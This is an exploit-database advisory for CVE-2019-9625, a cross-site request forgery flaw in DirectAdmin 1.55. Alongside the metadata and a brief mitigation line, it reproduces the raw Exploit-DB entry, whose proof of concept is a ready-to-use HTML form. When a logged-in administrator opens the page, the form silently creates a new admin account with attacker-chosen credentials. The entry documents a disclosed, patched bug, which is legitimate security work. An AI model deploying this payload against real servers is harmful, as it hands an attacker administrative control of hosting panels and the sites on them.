DirectAdmin v1.55 - CSRF via CMD_ACCOUNT_ADMIN Admin Panel

vendor:

DirectAdmin

by:

ManhNho

8.8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: DirectAdmin

Affected Version From: 1.55

Affected Version To: 1.55

Patch Exists: YES

Related CWE: CVE-2019-9625

CPE: a:directadmin:directadmin:1.55

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 / Kali Linux

2019

DirectAdmin v1.55 – CSRF via CMD_ACCOUNT_ADMIN Admin Panel

DirectAdmin v 1.55 have CSRF via CMD_ACCOUNT_ADMIN Admin Panel lead to create new admin account. An attacker can send a crafted request to a logged in user who is having admin Administrator level access. Once the logged in user opens the URL, the form will get submitted with active session of administrator and action get performed successfully.

Mitigation:

Implementing a strong CSRF protection mechanism, such as a unique token, can help mitigate the risk of CSRF attacks.

Source

Exploit-DB raw data:

# Exploit title: DirectAdmin v1.55 - CSRF via CMD_ACCOUNT_ADMIN Admin Panel
# Date: 03/03/2019
# Exploit Author: ManhNho
# Vendor Homepage: https://www.directadmin.com/
# Software Link: https://www.directadmin.com/
# Demo Link: https://www.directadmin.com:2222/CMD_ACCOUNT_ADMIN
# Version: 1.55
# CVE: CVE-2019-9625
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
DirectAdmin v 1.55 have CSRF via CMD_ACCOUNT_ADMIN Admin Panel lead to
create new admin account

#2. PoC
-----------------------------------------------------
a) Send below crafted request to logged in user who is having admin
Administrator level access

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://server:2222/CMD_ACCOUNT_ADMIN" method="POST">
      <input type="hidden" name="fakeusernameremembered" value="" />
      <input type="hidden" name="fakepasswordremembered" value="" />
      <input type="hidden" name="action" value="create" />
      <input type="hidden" name="username" value="attacker" />
      <input type="hidden" name="email" value="attacker&#64;mail&#46;com" />
      <input type="hidden" name="passwd" value="123456" />
      <input type="hidden" name="passwd2" value="123456" />
      <input type="hidden" name="notify" value="yes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


b) Once the logged in user opens the URL the form will get submitted
with active session of  administrator and action get performed
successfully.

#3. References

-----------------------------------------------------


https://github.com/ManhNho/CVEs/blob/master/New-Requests/DirectAdmin-CSRF

https://nvd.nist.gov/vuln/detail/CVE-2019-9625